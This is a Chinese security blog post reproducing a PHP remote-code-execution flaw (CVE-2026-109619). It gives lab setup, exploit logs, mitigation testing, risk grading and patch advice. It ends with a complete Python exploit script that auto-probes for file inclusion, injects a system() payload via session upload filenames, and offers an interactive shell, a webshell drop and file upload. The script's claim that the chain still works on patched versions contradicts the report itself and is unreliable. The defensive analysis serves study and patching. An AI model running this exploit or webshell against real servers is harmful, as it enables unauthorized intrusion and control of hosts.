◍ HACK长歌
2026-10-22

【已复现】php2shell — CVE-2026-109619 RCE漏洞复现报告

来源:【已复现】php2shell — CVE-2026-109619 RCE漏洞复现报告

还在用php的今天是不是很刺激。

复现日期:2026-10-21

目标环境:PHP 8.5.11 NTS + Apache 2.4.69 mod_php(Docker)

结论:在 不依赖任何 Web 应用功能 的页面上,通过两个普通 multipart POST 请求拿到命令执行(uid=33(www-data))。


1. 复现结论

项目 结果
靶场页面 <?php echo "OK\n"; ?>(零功能)
是否使用 LFI 否
是否使用应用层 unserialize() 否
是否使用上传功能 否
是否植入文件 否
请求数量 2 个 multipart POST
执行结果 uid=33(www-data) gid=33(www-data) groups=33(www-data)
负面对照 同参数、CTORADDR=0,无命令执行
缓解验证 session.upload_progress.enabled=0 后利用链断裂

一句话:漏洞入口在 PHP 内核的 session.upload_progress 生命周期,攻击面是 SAPI 层的 multipart 解析,不需要 Web 应用提供任何代码路径。


2. 实验室环境

项目 值
宿主机 Kali Linux 5.16.0(192.168.64.129)
容器名 esc-9b-8511
镜像 php:8.5.11-apache
PHP 8.5.11 NTS
SAPI apache2handler(mod_php)
Apache 2.4.69 (Debian),prefork
端口 127.0.0.1:18130 -> 80/tcp
工作线程 1 个(ServerLimit=1)

关键 php.ini

memory_limit=16M post_max_size=32M upload_max_filesize=32M max_input_nesting_level=64 session.upload_progress.enabled=1 session.upload_progress.cleanup=1 session.save_path=/tmp expose_php=0 display_errors=1 display_startup_errors=1 log_errors=1 error_log=/proc/self/fd/2 allow_url_fopen=0 allow_url_include=0 disable_functions=exec,system,shell_exec,passthru,proc_open,popen,pcntl_exec,dl

Apache prefork

<IfModule mpm_prefork_module> StartServers 1 MinSpareServers 1 MaxSpareServers 1 ServerLimit 1 MaxRequestWorkers 1 MaxConnectionsPerChild 0 </IfModule>

注意:disable_functions 里禁用了 system,但利用直接调用 zif_system,绕过该限制。


3. 实验室搭建

3.1 启动容器

docker run -d --name esc-9b-8511 \ -p 127.0.0.1:18130:80 \ -v /root/php2shell-lab/conf/lab.ini:/usr/local/etc/php/conf.d/zz-lab.ini:ro \ -v /root/php2shell-lab/conf/mpm_prefork.conf:/etc/apache2/mods-available/mpm_prefork.conf:ro \ -v /root/php2shell-lab/html:/var/www/html:ro \ php:8.5.11-apache

3.2 验证状态

docker ps --filter name=esc-9b-8511 docker top esc-9b-8511 docker exec esc-9b-8511 php -v | head -n 2


4. 靶场页面(零功能)

/var/www/html/index.php:

<?php echo "OK\n"; ?>

HTTP 响应:

HTTP/1.1 200 OK Server: Apache/2.4.69 (Debian) Content-Length: 3 Content-Type: text/html; charset=UTF-8 OK

页面没有 session_start()、没有文件包含、没有反序列化、没有上传处理、没有路由。


5. 漏洞背景

官方公告把两个漏洞的根因分别描述为:

CVE 官方命名 根因
CVE-2026-109618 RCE via OOM corruption longjmp() 处理 OOM 时提前退出,request memory 半初始化,shutdown 阶段把非法状态当合法用
CVE-2026-109619 RCE via stale global state request-owned 全局状态在 request heap 释放后仍被 worker 保留,下一个请求在正常初始化前消费陈旧指针

本报告复现的是 CVE-2026-109619 的 session upload progress 生命周期路径。官方原文:

Session upload progress can reach session handling before ordinary session initialization. … The demonstrated application-independent trigger is OOM during input processing.

With mod_php, both the producing operation and fatal error can occur during multipart startup.


6. 利用链原理

Phase A(arm) ┌──────────────────────────────────────────────────────────────┐ │ 25MB multipart POST │ │ PHPSESSID=a*100 │ │ PHP_SESSION_UPLOAD_PROGRESS=p*p*p │ │ f=file(a.txt) │ │ big=B*24MB ← 触发 memory_limit=16M OOM │ └──────────────────────────────────────────────────────────────┘ │ ▼ rfc1867_post_handler 在 php_request_startup() 内 OOM │ ▼ longjmp() 提前退出,匹配的 reset 未执行 │ ▼ request heap 被释放,但 worker 的 PS(http_session_vars) 仍指向一个已释放的 zend_reference ← dangling Phase B(fire) ┌──────────────────────────────────────────────────────────────┐ │ 28KB multipart POST │ │ 200 × 31 字节 live 值字符串(reclaim 悬空 reference) │ │ 80 × fill 字段 │ │ forged 55-byte value → fake zend_reference │ │ forged 167-byte value → fake HashTable │ │ pDestructor = zif_system │ └──────────────────────────────────────────────────────────────┘ │ ▼ php_session_rfc1867_cleanup → php_session_initialize → php_session_track_init → zend_hash_destroy │ ▼ pDestructor 被调用 → zif_system("id>/tmp/nb9bm")

关键偏移(PHP 8.5.11 libphp.so)

符号 偏移
zif_system 0x5996e0
abort@plt 0x18ab90
HashTable data(chunk 相对) 0x7e0d8
PS(http_session_vars)(chunk 相对) 0x7a6e0

7. 复现步骤

7.1 Phase A:制造悬空状态

cd /root/php-cve-2026-10961x-rce-probe/ninebie export FIRE_GDB=0 export MODE=zif export TAG=zif1 export LIVE_N=200 export FILL_N=80 export MASK_N=8 export SIDLEN=100 export A_HUGE=24 export CMD='id>/tmp/nb9bm' bash nb_fire.sh

Phase A 输出:

== phase A (pads=107 sidlen=100) A status='HTTP/1.1 200 OK' req=25174294 resp=342 elapsed=0.02 body[0:200]=b'<br />\n<b>Fatal error</b>: Allowed memory size of 16777216 bytes exhausted (tried to allocate 6296371 bytes) in <b>Unknown</b> on line <b>0</b><br />\n' worker_after_A=166641 LIBPHP=0x7fcd82400000 CHUNK_CANDIDATES=['0x7fcd80800000'] CHUNK=0x7fcd80800000 HTDATA=0x7fcd8087e0d8 R0=0x7fcd8087a6e0 ZIF=0x7fcd829996e0 ABORT_PLT=0x7fcd8258ab90 MODE=zif CTORADDR=0x7fcd829996e0

7.2 地址解析(lab-assisted)

nb_env.py 读取 /proc/<worker_pid>/maps:

  • LIBPHP:libphp.so 的基址

  • CHUNK:2 MiB 对齐的匿名 rw-p 映射(Zend MM chunk)

ENV=$(python3 nb_env.py "$(docker top esc-9b-8511 | awk '/www-data/{print $2; exit}')") echo "$ENV"

这一步是 实验室辅助:真实远程攻击需要额外的地址泄露原语。公开 PoC 仓库明确写明 “in-band address sourcing remains open”。

7.3 Phase B:触发伪造析构

python3 nb_send.py b \ --n1 1 --n2 0 --live-n 200 --live-len 31 \ --fill-n 80 --mask-n 8 --mask-len 100 \ --sid-len 100 \ --ht 0x7fcd8087e0d8 \ --ref-type 0x307 \ --ctor zif \ --ctor-addr 0x7fcd829996e0 \ --cmd 'id>/tmp/nb9bm'

Phase B 输出:

== phase B (live-ref carriers=200 fill=80 mask=8) B status='<no head>' req=28122 resp=0 elapsed=0.004 worker_after_B= MARKER=uid=33(www-data) gid=33(www-data) groups=33(www-data) FIRE_OK

7.4 可重复性

第二次运行,ASLR 基址变化,仍成功:

LIBPHP=0x7fd37c600000 (上一次 0x7fcd82400000) CHUNK=0x7fd37aa00000 ZIF=0x7fd37cb996e0 MARKER=uid=33(www-data) gid=33(www-data) groups=33(www-data) FIRE_OK


8. 对照实验

8.1 负面对照

保持完全相同的 Phase A,Phase B 把 CTORADDR 设为 0:

export MODE=neg export TAG=neg1 bash nb_fire.sh

输出:

CTORADDR=0 B status='<no head>' req=28122 resp=0 worker_after_B= MARKER= FIRE_FAILED === marker check (negative) === NO_MARKER

同样的 OOM、同样的 worker 退出,但没有命令执行,说明该链是可控的,不是随机崩溃。

8.2 缓解措施验证

sed -i 's/session.upload_progress.enabled=1/session.upload_progress.enabled=0/' \ /root/php2shell-lab/conf/lab.ini docker restart esc-9b-8511

输出:

session.upload_progress.enabled => Off == phase A (pads=107 sidlen=100) A status='HTTP/1.1 200 OK' req=25174294 body=Fatal error: Allowed memory size of 16777216 bytes exhausted worker_after_A=169949 CHUNK_CANDIDATES=[] CHUNK=0 ADDR_RESOLVE_FAILED === marker check === NO_MARKER

session.upload_progress.enabled=0 后,PS(http_session_vars) 不再悬空,利用链断裂。

官方说明:该配置只阻断已确认的 session 路径,不能替代补丁。


9. 为什么这不是”无条件 RCE”

讨论风险时容易走向两个极端:要么把公开 PoC 当成”人人可一键打”,要么因为”需要条件”而低估风险。准确的判断是:触发是应用无关的,但完成 RCE 仍然有前置条件。

9.1 “无条件 RCE” 的定义

一条链要被称为”无条件远程 RCE”,至少应同时满足:

  1. 不需要应用代码提供任何入口(LFI、unserialize()、上传、路由等)

  2. 不需要应用加载特定 gadget 类

  3. 不需要攻击者知道任何内存地址(ASLR 无关)

  4. 不需要特定服务器配置(单 worker、特殊 allocator 等)

  5. 对多 worker / 多进程部署稳定

  6. 跨版本、跨发行版可直接复用

按这个标准,目前公开的 PoC 没有一条完全满足。

9.2 公开 PoC 的条件对照

链 应用入口 gadget 类 地址泄露 配置假设 多 worker 跨版本
Chain A(session 注入 + LFI) 需要 LFI 不需要 不需要 cleanup=Off 或 race 可 较好
Chain B / dinosn(stale global state) 不需要 不需要 需要 单 worker、可触发 OOM 未验证 偏移相关
Chain C / junaire(handler mismatch) 需要两个 handler 不同目录 需要 不需要 cleanup=Off 可 较好
Chain B 旧版(var_destroy UAF) 需要 unserialize() 可能 不需要 无 可 版本相关

9.3 触发层 vs 完成层

触发层(应用无关)

  • 任何接受 multipart/form-data POST 的 PHP 端点

  • session.upload_progress.enabled=On(默认)

  • 不需要认证,不需要应用代码

  • 这一层确实是”应用无关”的

完成层(有条件)

要把内存破坏或逻辑缺陷转成命令执行,至少需要以下之一:

  • 内存地址泄露(Chain B)

  • 应用侧 gadget + handler mismatch(Chain C)

  • 应用侧 LFI(Chain A)

  • 应用侧 unserialize()(旧版 Chain B)

官方公告的用词也区分了这两层:

We consider the risk highest for mod_php, with a demonstrated exploit where an unauthenticated request can trigger the attack before any application code runs.

注意是 trigger the attack(触发攻击),不是 complete the RCE(完成 RCE)。

9.4 “需要条件”不等于”风险低”

条件的现实分布决定了真实风险:

条件 现实普及度
session.upload_progress.enabled=On 默认开
有限 memory_limit 默认 128M
mod_php 面板、共享主机、老站点常见
LFI 老 CMS / 插件中不少
多 handler 目录 多应用共存的站点存在
__destruct gadget 框架 preload 后常见
ASLR 地址泄露 取决于是否有 LFI / 信息泄露

只要目标命中其中一条,”需要条件”就会变成”实际可打”。

9.5 现实中的风险分级

目标类型 风险 原因
mod_php + 旧 PHP + 有 LFI 极高 Chain A 直接可用
mod_php + 旧 PHP + 可读 /proc 极高 Chain B 可直接用
多目录 + handler 不一致 + gadget 高 Chain C 直接可用
FPM + 旧 PHP + 有 LFI / unserialize() 高 Chain A / 旧版 B
FPM + 旧 PHP + 无应用入口 中 触发可,完成条件不足
已打补丁 8.2.35+ 低 已修复
非 PHP(Node / Go / Java) 无 不适用

9.6 对防御者的含义

  1. 不要因为”PoC 不完整”就延迟打补丁
  • 官方已确认 pre-auth 触发

  • 公开 PoC 只是”目前”不完整,不代表”以后”不完整

  • 攻击者可以把多条链组合使用

  1. 不要只盯一个入口
  • 即使禁了 session.upload_progress,还有其他 stale state 路径

  • 官方明确说”配置缓解只阻断已确认路径”

  1. EOL 版本风险长期存在
  • 7.x / 8.0 / 8.1 不会再有官方补丁

  • 条件会一直存在,研究只会越来越成熟

  1. 日志和监控仍然重要
  • 关注 multipart 请求中的 PHP_SESSION_UPLOAD_PROGRESS

  • 关注 PHP worker 异常子进程(system / exec 痕迹)

  • 关注 worker 异常退出后紧跟的 200 + 空 body 响应

9.7 结论

php2shell 是”应用无关的 pre-auth 触发 + 有条件的 RCE 完成”。

目前没有一条公开链满足”无条件、ASLR 无关、跨版本、多 worker 稳定”的全部标准;但触发面极广、条件在真实环境中分布很常见,因此不能按”利用条件多 = 风险低”来处理。

正确姿势是:按 CVSS 9.2 对待,尽快升级;无法升级的按第 12.2 节做缓解和隔离。


10. 关键限制

  1. lab-assisted,不是纯远程
  • 两个 HTTP 请求本身是普通 multipart POST;

  • 但 LIBPHP / CHUNK 地址来自宿主机 /proc/<worker>/maps;

  • 真实远程攻击需要地址泄露原语,公开仓库明确说这是未解决的问题。

  1. 单 worker
  • 复现环境 ServerLimit=1;

  • 多 worker 部署的可靠性未验证。

  1. 依赖可触发的 OOM
  • 复现用 memory_limit=16M、post_max_size=32M;

  • 默认 memory_limit=128M 需要更大的请求,但原理相同。

  1. 版本/构建相关
  • 偏移量针对 php:8.5.11-apache 的具体构建;

  • 不同发行版、不同编译选项需要重新定位偏移。

  1. SAPI 相关
  • 官方评估 mod_php 风险最高(应用无关);

  • FPM 的已验证路径需要 “a suitable application operation”;

  • FrankenPHP 源码分析上”很可能受影响”,但无完整演示。


11. 与官方公告对照

项目 官方公告 本次复现
CVE CVE-2026-109618 / 109619 对应 109619(stale global state)
SAPI mod_php 最高风险 apache2handler
应用依赖 “before any application code runs” 页面仅 echo "OK"
触发 multipart / OOM / session 生命周期 Phase A + Phase B
结果 可导致 RCE uid=33(www-data)
缓解 session.upload_progress.enabled=0 验证有效(断开链路)
修复 8.2.35 / 8.3.36 / 8.4.27 / 8.5.12 本环境为 8.5.11,未修复

12. 修复建议

11.1 首选:升级

分支 修复版本
8.5 8.5.12
8.4 8.4.27
8.3 8.3.36
8.2 8.2.35
7.4 / 8.0 / 8.1 官方提供最小源码回补
7.3 及更早 无官方补丁

11.2 临时缓解

; 阻断 session 生命周期路径(需 php.ini / FPM pool / 服务器配置,重启所有 worker) session.upload_progress.enabled=0 ; PHP 8.5 额外阻断 fatal backtrace 路径 fatal_error_backtraces=0 ; 降低 OOM 触发面 memory_limit=-1 ; 必须用 php_admin_value 强制 post_max_size=8M ; 无上传场景 upload_max_filesize=8M

注意:官方明确说配置缓解只能降低特定路径风险,更新是唯一完整方案。


13. 参考


附录 A:完整命令清单

# ---------- 宿主机 ---------- ssh root@192.168.64.129 # 1. 准备目录 mkdir -p /root/php2shell-lab/conf /root/php2shell-lab/html # 2. 写配置(见第 2 节) # 3. 写靶场页面 printf'<?php echo "OK\\n"; ?>\n' > /root/php2shell-lab/html/index.php # 4. 启动容器 docker run -d --name esc-9b-8511 \ -p 127.0.0.1:18130:80 \ -v /root/php2shell-lab/conf/lab.ini:/usr/local/etc/php/conf.d/zz-lab.ini:ro \ -v /root/php2shell-lab/conf/mpm_prefork.conf:/etc/apache2/mods-available/mpm_prefork.conf:ro \ -v /root/php2shell-lab/html:/var/www/html:ro \ php:8.5.11-apache # 5. 验证 docker ps --filter name=esc-9b-8511 docker top esc-9b-8511 curl -s http://127.0.0.1:18130/ # ---------- PoC ---------- cd /root/php-cve-2026-10961x-rce-probe/ninebie export FIRE_GDB=0 MODE=zif TAG=zif1 \ LIVE_N=200 FILL_N=80 MASK_N=8 SIDLEN=100 A_HUGE=24 \ CMD='id>/tmp/nb9bm' bash nb_fire.sh # 6. 检查结果 docker exec esc-9b-8511 cat /tmp/nb9bm # ---------- 负面对照 ---------- export MODE=neg TAG=neg1 bash nb_fire.sh # ---------- 缓解验证 ---------- sed -i 's/session.upload_progress.enabled=1/session.upload_progress.enabled=0/' \ /root/php2shell-lab/conf/lab.ini docker restart esc-9b-8511 bash nb_fire.sh # 恢复 sed -i 's/session.upload_progress.enabled=0/session.upload_progress.enabled=1/' \ /root/php2shell-lab/conf/lab.ini docker restart esc-9b-8511


附录 B:文件清单

文件 说明
report_assets/01-lab-setup.png 实验室搭建截图
report_assets/02-phase-a.png Phase A OOM 截图
report_assets/03-phase-b.png Phase B RCE 截图
report_assets/04-negative.png 负面对照截图
report_assets/05-mitigation.png 缓解措施截图
poc-dinosn/ 可用 PoC 仓库(Chain A/B)
poc-zer061/ 触发器与源码分析
poc-eness/ 通告与缓解措施(PoC 未发布)

exp文件

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
php2shell exploit — CVE-2026-109618 / CVE-2026-109619
=====================================================
把 session.upload_progress 的 filename 落盘缺陷打成命令执行,并给出交互 shell。

链路(Chain A):
  1. 上传 multipart:PHPSESSID=<sid>、PHP_SESSION_UPLOAD_PROGRESS=<任意>、
     文件部件的 filename = `<?php ... system(...) ... ?>`
  2. PHP 把 filename 原样写进 sess_<sid>
  3. 通过目标已有的 LFI include 该文件 → 命令执行
  4. cleanup=Off 时 session 文件留存,可复用同一文件反复执行命令;
     cleanup=On 时先竞态拿一次执行,再用它落地 webshell

用法:
  # 指定 LFI 与 save_path,交互 shell
  python3 php2shell_exp.py -u http://TARGET --lfi '/vuln.php?page=' \
      --session-path '/var/lib/php/sessions/sess_' --shell

  # 单条命令
  python3 php2shell_exp.py -u http://TARGET --lfi '/index.php?page=' \
      --session-path '/var/lib/php/sessions/sess_' --cmd 'id; uname -a'

  # 自动探 LFI(常见参数/路径)
  python3 php2shell_exp.py -u http://TARGET --auto --shell

  # 落地 webshell 到 webroot
  python3 php2shell_exp.py -u http://TARGET --lfi ... --session-path ... \
      --webshell /var/www/html/x.php

  # cleanup=On:竞态模式
  python3 php2shell_exp.py -u http://TARGET --lfi ... --session-path ... --race --cmd 'id'

仅用于自有或已获得明确授权的目标。
"""
import argparse
import base64
import random
import re
import socket
import ssl
import string
import sys
import time
import urllib.parse

BOUNDARY = "----p2sExp"
PAYLOAD = ("<?php ob_start(); system(base64_decode($_REQUEST['c'])); "
           "$o=ob_get_clean(); echo 'P2S_B'.$o.'P2S_E'; ?>")
WS_BODY = "<?php system($_REQUEST['c']); ?>"


# --------------------------------------------------------------------------- #
class HTTP:
    def __init__(self, url, timeout=20):
        u = urllib.parse.urlparse(url)
        self.scheme = u.scheme
        self.host = u.hostname
        self.port = u.port or (443 if u.scheme == "https" else 80)
        self.base = f"{u.scheme}://{u.netloc}"
        self.timeout = timeout
        self.tls = u.scheme == "https"

    def raw(self, data, timeout=None):
        s = socket.create_connection((self.host, self.port), timeout=timeout or self.timeout)
        s.settimeout(timeout or self.timeout)
        if self.tls:
            ctx = ssl.create_default_context()
            ctx.check_hostname = False
            ctx.verify_mode = ssl.CERT_NONE
            s = ctx.wrap_socket(s, server_hostname=self.host)
        s.sendall(data)
        buf = b""
        try:
            while True:
                d = s.recv(65536)
                if not d:
                    break
                buf += d
        except socket.timeout:
            pass
        finally:
            s.close()
        head, _, body = buf.partition(b"\r\n\r\n")
        m = re.match(rb"HTTP/\d\.\d (\d+)", head)
        return (int(m.group(1)) if m else 0), head.decode("latin-1", "replace"), body

    def get(self, path, headers=None, timeout=None):
        h = [f"GET {path} HTTP/1.1", f"Host: {self.host}:{self.port}", "User-Agent: p2s-exp/1.0",
             "Connection: close"] + [f"{k}: {v}" for k, v in (headers or {}).items()]
        return self.raw(("\r\n".join(h) + "\r\n\r\n").encode(), timeout)

    def post(self, path, body, content_type, headers=None, timeout=None):
        h = [f"POST {path} HTTP/1.1", f"Host: {self.host}:{self.port}", "User-Agent: p2s-exp/1.0",
             f"Content-Type: {content_type}", f"Content-Length: {len(body)}", "Connection: close"]
        h += [f"{k}: {v}" for k, v in (headers or {}).items()]
        return self.raw(("\r\n".join(h) + "\r\n\r\n").encode() + body, timeout)


def multipart(sid, payload_key, filename, file_data=b"Z"):
    parts = [
        f"--{BOUNDARY}\r\nContent-Disposition: form-data; name=\"PHPSESSID\"\r\n\r\n{sid}\r\n".encode(),
        f"--{BOUNDARY}\r\nContent-Disposition: form-data; name=\"PHP_SESSION_UPLOAD_PROGRESS\"\r\n\r\n{payload_key}\r\n".encode(),
        (f"--{BOUNDARY}\r\nContent-Disposition: form-data; name=\"f\"; filename=\"{filename}\"\r\n"
         f"Content-Type: application/octet-stream\r\n\r\n").encode("latin-1") + file_data + b"\r\n",
        f"--{BOUNDARY}--\r\n".encode(),
    ]
    return b"".join(parts)


def rand_sid(n=16):
    return "".join(random.choices(string.ascii_letters + string.digits, k=n))


def strip_html(s):
    return re.sub(r"<[^>]+>", "", s)


# --------------------------------------------------------------------------- #
def upload_payload(http, upload_path, sid, filename=PAYLOAD):
    body = multipart(sid, "k" + sid, filename)
    return http.post(upload_path, body,
                     f"multipart/form-data; boundary={BOUNDARY}")


def run_once(http, lfi, sess_prefix, sid, cmd):
    """对已落盘的 session 文件执行一条命令。"""
    url = lfi + urllib.parse.quote(sess_prefix + sid, safe="/")
    sep = "&" if "?" in lfi else "?"
    url += sep + "c=" + urllib.parse.quote(base64.b64encode(cmd.encode()).decode())
    st, head, body = http.get(url, timeout=25)
    text = strip_html(body.decode("utf-8", "replace"))
    m = re.search(r"P2S_B(.*?)P2S_E", text, re.S)
    return (m.group(1).strip("\r\n") if m else None), st, text


def race_upload(http, upload_path, sid, lfi, sess_prefix, cmd,
                window=8.0, delay=0.05, total=6_000_000):
    """cleanup=On:慢速上传撑窗口,同时并发 include。"""
    import threading

    def chunk(p):
        return f"{len(p):x}\r\n".encode() + p + b"\r\n"

    def sender():
        try:
            s = socket.create_connection((http.host, http.port), timeout=90)
            s.settimeout(90)
            hdr = (f"POST {upload_path} HTTP/1.1\r\nHost: {http.host}:{http.port}\r\n"
                   f"User-Agent: p2s-exp/1.0\r\nContent-Type: multipart/form-data; boundary={BOUNDARY}\r\n"
                   f"Transfer-Encoding: chunked\r\nConnection: close\r\n\r\n").encode()
            s.sendall(hdr)
            for f in (f"--{BOUNDARY}\r\nContent-Disposition: form-data; name=\"PHPSESSID\"\r\n\r\n{sid}\r\n",
                      f"--{BOUNDARY}\r\nContent-Disposition: form-data; name=\"PHP_SESSION_UPLOAD_PROGRESS\"\r\n\r\nk{sid}\r\n"):
                s.sendall(chunk(f.encode()))
            ph = (f"--{BOUNDARY}\r\nContent-Disposition: form-data; name=\"f\"; filename=\"{PAYLOAD}\"\r\n"
                  f"Content-Type: application/octet-stream\r\n\r\n").encode("latin-1")
            s.sendall(chunk(ph))
            sent = 0
            while sent < total:
                piece = b"B" * 65536
                s.sendall(chunk(piece))
                sent += len(piece)
                time.sleep(delay)
            s.sendall(chunk(f"\r\n--{BOUNDARY}--\r\n".encode()))
            s.sendall(b"0\r\n\r\n")
        except Exception:
            pass

    t = threading.Thread(target=sender, daemon=True)
    t.start()
    end = time.time() + window
    while time.time() < end:
        out, st, text = run_once(http, lfi, sess_prefix, sid, cmd)
        if out is not None:
            return out
        time.sleep(0.05)
    return None


# --------------------------------------------------------------------------- #
def fingerprint(http):
    st, head, body = http.get("/")
    ver = re.search(r"X-Powered-By:\s*PHP/([0-9.]+)", head, re.I)
    print(f"[*] 目标: {http.base}  HTTP {st}")
    if ver:
        v = ver.group(1)
        print(f"[*] PHP {v}(X-Powered-By)")
        fixed = {"8.2": "8.2.35", "8.3": "8.3.36", "8.4": "8.4.27", "8.5": "8.5.12"}
        key = ".".join(v.split(".")[:2])
        if key in fixed:
            print(f"[!] 该分支修复版 {fixed[key]};本链在修复版上仍可用(见技能 references/FIXED_VERSIONS.md)")
    else:
        print("[*] 未从响应头拿到 PHP 版本")


def probe_lfi(http, params=None, paths=None):
    """返回 (path, param) 或 None。用 /etc/passwd 做只读验证。"""
    params = params or ["page", "file", "path", "tpl", "template", "view",
                        "include", "mod", "lang", "doc", "url", "src", "f"]
    paths = paths or ["/", "/index.php", "/vuln.php", "/view.php", "/page.php",
                      "/home.php", "/article.php", "/download.php", "/read.php"]
    for p in paths:
        for q in params:
            sep = "&" if "?" in p else "?"
            probe = p + sep + q + "=" + urllib.parse.quote("/etc/passwd")
            st, head, body = http.get(probe, timeout=10)
            if b"root:x:0:0" in body or b"root:*:0:0" in body:
                print(f"[+] LFI: {p}?{q}=  (/etc/passwd 命中)")
                return p, q
    return None


def try_paths(http, lfi, prefixes, sid):
    """用注入后的 session 文件确认哪个 save_path 前缀可用。"""
    for pre in prefixes:
        out, st, text = run_once(http, lfi, pre, sid, "id")
        if out is not None:
            print(f"[+] save_path 前缀: {pre}")
            return pre
    return None


def drop_webshell(http, lfi, prefix, sid, path, body=None):
    body = body or WS_BODY
    b64 = base64.b64encode(body.encode()).decode()
    cmd = f"printf '%s' '{b64}' | base64 -d > {path} && echo OK"
    out, st, text = run_once(http, lfi, prefix, sid, cmd)
    if out and "OK" in out:
        url_path = path
        for root in ("/var/www/html", "/var/www", "/usr/share/nginx/html", "/var/www/html/public"):
            if path.startswith(root):
                url_path = path[len(root):] or "/"
                break
        url = http.base + url_path
        print(f"[+] webshell: {url}?c=id")
        return url
    print(f"[-] 落地失败: {out!r}")
    return None


# --------------------------------------------------------------------------- #
def main():
    ap = argparse.ArgumentParser(description="php2shell exploit (CVE-2026-109618/619)")
    ap.add_argument("-u", "--url", required=True)
    ap.add_argument("--lfi", help="LFI 路径与参数,如 '/vuln.php?page='")
    ap.add_argument("--session-path", help="save_path + '/sess_' 前缀,可逗号分隔多个")
    ap.add_argument("--auto", action="store_true", help="自动探 LFI(常见参数/路径)")
    ap.add_argument("--cmd", help="执行单条命令")
    ap.add_argument("--shell", action="store_true", help="交互 shell")
    ap.add_argument("--webshell", metavar="REMOTE_PATH", help="落地 webshell 到指定路径")
    ap.add_argument("--race", action="store_true", help="cleanup=On 的竞态模式")
    ap.add_argument("--sid", default=None)
    ap.add_argument("--timeout", type=float, default=20.0)
    a = ap.parse_args()

    http = HTTP(a.url, timeout=a.timeout)
    fingerprint(http)

    lfi = a.lfi
    if not lfi and a.auto:
        found = probe_lfi(http)
        if not found:
            print("[-] 自动探测未发现 LFI;用 --lfi 指定")
            return 1
        lfi = found[0] + ("&" if "?" in found[0] else "?") + found[1] + "="
    if not lfi:
        print("[-] 需要 --lfi,或用 --auto 探测")
        return 1
    print(f"[*] LFI 使用: {lfi}")

    prefixes = [p.strip() for p in (a.session_path or
                                    "/var/lib/php/sessions/sess_,/tmp/sess_,"
                                    "/var/lib/php5/sess_,/var/tmp/sess_,/var/lib/php/session/sess_").split(",") if p.strip()]
    sid = a.sid or rand_sid()

    # 1) 上传(或竞态)
    if a.race:
        print(f"[*] 竞态模式:sid={sid},窗口 {8}s")
        out = race_upload(http, "/", sid, lfi, prefixes[0], "id")
        if out is None:
            print("[-] 竞态未命中")
            return 1
        prefix = prefixes[0]
        print(f"[+] 竞态命中: {out.strip()[:80]}")
    else:
        st, head, body = upload_payload(http, "/", sid)
        print(f"[*] 上传: HTTP {st}  sid={sid}")
        prefix = try_paths(http, lfi, prefixes, sid)
        if not prefix:
            print("[-] 未确认 save_path;检查 --session-path 候选、cleanup 状态、LFI 是否可 include")
            return 1

    # 2) webshell
    if a.webshell:
        drop_webshell(http, lfi, prefix, sid, a.webshell)

    # 3) 单条命令
    if a.cmd:
        out, st, text = run_once(http, lfi, prefix, sid, a.cmd)
        print("--- output ---")
        print(out if out is not None else text[:400])
        print("--------------")
        return 0 if out is not None else 1

    # 4) 交互 shell
    if a.shell:
        print("[*] 交互 shell(exit 退出;!up <local> <remote> 上传;!ws <remote> 落地 webshell)")
        while True:
            try:
                line = input("p2s> ").strip()
            except (EOFError, KeyboardInterrupt):
                print()
                break
            if not line:
                continue
            if line in ("exit", "quit"):
                break
            if line.startswith("!ws "):
                drop_webshell(http, lfi, prefix, sid, line[4:].strip())
                continue
            if line.startswith("!up "):
                parts = line[4:].split()
                if len(parts) != 2:
                    print("用法: !up <local> <remote>")
                    continue
                local, remote = parts
                data = open(local, "rb").read()
                b64 = base64.b64encode(data).decode()
                step = 600
                ok = True
                for i in range(0, len(b64), step):
                    seg = b64[i:i + step]
                    op = ">" if i == 0 else ">>"
                    out, _, _ = run_once(http, lfi, prefix, sid,
                                         f"printf '%s' '{seg}' {op} /tmp/.p2s.b64")
                    if out is None:
                        ok = False
                        break
                if ok:
                    out, _, _ = run_once(http, lfi, prefix, sid,
                                         f"base64 -d /tmp/.p2s.b64 > {remote} && rm -f /tmp/.p2s.b64 && echo UPOK")
                    print(f"[+] uploaded: {remote}" if out and "UPOK" in out else f"[-] 失败: {out!r}")
                continue
            out, st, text = run_once(http, lfi, prefix, sid, line)
            if out is None:
                print(f"[-] 无回显(HTTP {st}):{text[:200]}")
            else:
                print(out)
        return 0

    print("[*] 已就绪:加 --cmd 或 --shell,或 --webshell 落地")
    return 0


if __name__ == "__main__":
    sys.exit(main())

本报告仅用于授权安全测试与防御研究。请勿用于未授权系统。